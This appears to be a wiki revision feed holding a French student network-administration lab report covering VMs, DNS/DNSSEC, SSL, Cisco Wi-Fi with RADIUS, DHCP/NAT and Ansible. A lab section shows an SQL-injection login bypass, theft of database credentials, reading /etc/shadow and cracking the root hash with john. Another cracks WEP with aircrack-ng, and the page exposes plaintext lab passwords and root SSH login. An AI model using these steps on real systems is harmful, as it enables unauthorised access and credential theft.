   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54990</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54990"/>
				<updated>2020-12-18T19:19:17Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Playbook et roles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles. Une VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt;.&lt;br /&gt;
La seconde sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; d'IP &amp;lt;code&amp;gt;192.168.42.7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On relance, le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;br /&gt;
&lt;br /&gt;
On crée plusieurs rôles qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
